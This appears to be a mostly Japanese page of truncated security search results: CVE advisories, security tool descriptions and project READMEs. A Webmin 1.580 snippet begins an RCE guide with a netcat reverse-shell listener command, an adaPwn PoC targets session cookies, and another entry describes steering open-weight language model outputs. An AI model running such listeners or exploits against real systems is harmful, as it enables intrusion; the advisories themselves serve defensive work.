CVE-2023-31595

CVE-2023-31595 IC Realtime ICIP-P2012T は、オープンポートを介した不適切なアクセス制御（Incorrect Access Control）に対して脆弱です。 IC Realtime IP PTZ ドームカメラ ICIP-P2012 ソフトウェアバージョン: 2.420...

spoilerwall

Beware! Spoilers ahead! Spoilerwall introduces a brand new concept in the field of network hardening. Avoid being scanned by spoiling movies on all your ports! Firewall? How about Fire'em'all! Stop spending thousand of dollars on big teams that you don't need! Just fire up the Spoilers Server and...

CVE-2026-80327

An open redirect vulnerability exists in the PingGateway Fragment Filter feature. This issue affects PingGateway versions 7.1.0 and later, 2023.2.0 through 2024.11.1, and 2025.3.0 through 2025.11.1. It is fixed in versions 2024.11.2, 2025.11.2, and 2026.3.0 and later...

CVE-2026-80327 Open Redirect in PingGateway Fragment Filter

An open redirect vulnerability exists in the PingGateway Fragment Filter feature. This issue affects PingGateway versions 7.1.0 and later, 2023.2.0 through 2024.11.1, and 2025.3.0 through 2025.11.1. It is fixed in versions 2024.11.2, 2025.11.2, and 2026.3.0 and later...

EUVD-2026-93358

An open redirect vulnerability exists in the PingGateway Fragment Filter feature. This issue affects PingGateway versions 7.1.0 and later, 2023.2.0 through 2024.11.1, and 2025.3.0 through 2025.11.1. It is fixed in versions 2024.11.2, 2025.11.2, and 2026.3.0 and later...

CVE-2026-80327

An open redirect vulnerability exists in the PingGateway Fragment Filter feature. This vulnerability impacts PingGateway versions 7.1.0 and later, 2023.2.0 through 2024.11.1, and 2025.3.0 through 2025.11.1. The issue allows for redirection to untrusted sites and is addressed in versions 2024.11.2...

Webmin-1.580---file-show.cgi-Manual-Remote-Command-Execution-Non-Metasploit-

Webmin 1.580 RCE 実行ガイド Webmin 1.580 の /file/show.cgi コンポーネントを介して、認証済みリモートコード実行 RCE を実行するためのクイックリファレンスです。 1. 攻撃マシン リスナー ペイロードを実行する前に、ローカルマシンでこのコマンドを実行して受信接続を待ち受けます: rlwrap nc -lnvp 4444 2. ターゲットへのエクスプロイトペイロード 次の URL をブラウザのアドレスバーに直接貼り付けてください 事前に Webmin ダッシュボードにログインしていることを確認してください:...

stylesmuggler-adobe-patches

disrex/stylesmuggler-adobe-patches Magento Open Source および Mage-OS に Adobe公式のAPSB26-146修正 （CVE-2026-75650、内部参照 VULN-39341）を、インストール済みバージョンを自動検出して適用する Composer プラグインです。これは StyleSmuggler ゼロデイに対する修正です。 インストール時および更新時に、インストール済みパッケージ自体にパッチを適用します。cweagans/composer-patches やルートの enable-patching...

DNN (DotNetNuke) - Unicode Path Normalization NTLM Hash Disclosure

DNN formerly DotNetNuke is an open-source web content management platform CMS in the Microsoft ecosystem. In versions 6.0.0 to before 10.0.1, DNN.PLATFORM allows a specially crafted series of malicious interaction to potentially expose NTLM hashes to a third party SMB server. This issue has been...

CVE-2020-8423

CVE-2020-8423 https://ktln2.org/2020/03/29/exploiting-mips-router/testing-environment に基づく研究 hook.c はカスタマイズされています（特に open） vmlinux バージョン 2.6.31...

CLEANSTART-2026-FH92420 UrlHandlerFilter can be vulnerable to an open redirect when configured with very broadly matching patterns

Security vulnerability affects the rundeck package. UrlHandlerFilter can be vulnerable to an open redirect when configured with very broadly matching patterns...

PT-2026-106809

Quasar Framework is a framework for building high-performance Vue.js user interfaces. Prior to 2.32.2, the openURL utility in ui/src/utils/open-url/open-url.js trusted window.SafariViewController whenever that global existed in an iOS environment. Attacker-controlled HTML rendered by components...

EUVD-2026-78300

proxy-addr vulnerable to IP spoofing via IPv4-mapped IPv6 trust subnet...

adaPwn

adaPwn - CVE-2019-14912 PoC adAS OPENSSO 模块未正确验证重定向的域，从而可能将用户重定向到攻击者控制的网站，窃取用户的 adAS 会话 Cookie。 用法 usage: adaPwn.py -h --interface INTERFACE --httpPort HTTPPORT --dnsPort DNSPORT ipToSpoof realIP redirectUrl ipBlacklist ipBlacklist...

gradient-untangler

gradient-untangler A local research harness that searches for the exact tokens that make an open-weight language model start its answer the way you specify. Open-weight models ship as ordinary files: config.json, a tokenizer, and one or more .safetensors or .bin shards. A Hugging Face id is only ...

Rocket.Chat

チームコミュニケーションのための究極のセキュアなオープンソースソリューション Rocket.Chatは、高いデータ保護基準を持つ組織向けにTypeScriptで開発された、オープンソースで安全かつ完全にカスタマイズ可能なコミュニケーションプラットフォームです。 私たちはチームコミュニケーションのための究極のソリューションであり、同僚同士、他社、そして顧客や市民との間で、どのような接続方法であってもリアルタイムの会話を可能にします。その結果、生産性とユーザー満足度が向上します。 毎日、150以上の国と地域、ならびにDeutsche Bahn（ドイツ鉄道）、米国海軍、Credit...

security-baseline-ubuntu

☕ Support the Project If this practical guide has saved your host from compromise, helped you configure your security baseline, or saved you hours of debugging AppArmor and Firejail profiles, you can support the author and further development of this open-source initiative. ⚠️ OPSEC Warning:...

opencode

オープンソースのAIコーディングエージェント。 English | 简体中文 | 繁體中文 | 한국어 | Deutsch | Español | Français | Italiano | Dansk | 日本語 | Polski | Русский | Bosanski | العربية | Norsk | Português Brasil | ไทย | Türkçe | Українська | বাংলা | Ελληνικά | Tiếng Việt インストール YOLO curl -fsSL https://opencode.ai/install | bash...

Open-Source-Threat-Intel-Feeds

無料脅威インテル/IOCフィード このリポジトリには、追加の要件なしで使用できるオープンソースの無料脅威インテルフィードが含まれています。CSVファイル ThreatIntelFeeds は、ベンダー、説明、カテゴリ、URLに基づいて構造化された方法で保存されています。脅威インテルフィードを提供するベンダーについては、以下で説明します。 以下のフィードカテゴリが利用可能です： SSL IP DNS URL MD5 SHA1 SHA256 CVEID JA3 NamePipes...

CyberQRM

CyberQRM – サイバー定量的リスク管理 ローカルで動作するオープンソースのプラットフォームで、FAIR v3.1（情報リスクの因子分析）フレームワークを使用した定量的なサイバーセキュリティリスク評価 を実現します。脅威のモデリング、モンテカルロシミュレーションの実行、対策効果の測定、リスクポートフォリオの管理を、すべてブラウザ上で行えます。クラウドアカウントは不要です。 機能 FAIRベースのリスクモデリング — 各シナリオに対して、三角分布、対数正規分布、または点分布を使用して、脅威イベント頻度（TEF）、脆弱性（Vulnerability）、資産価値（Asset...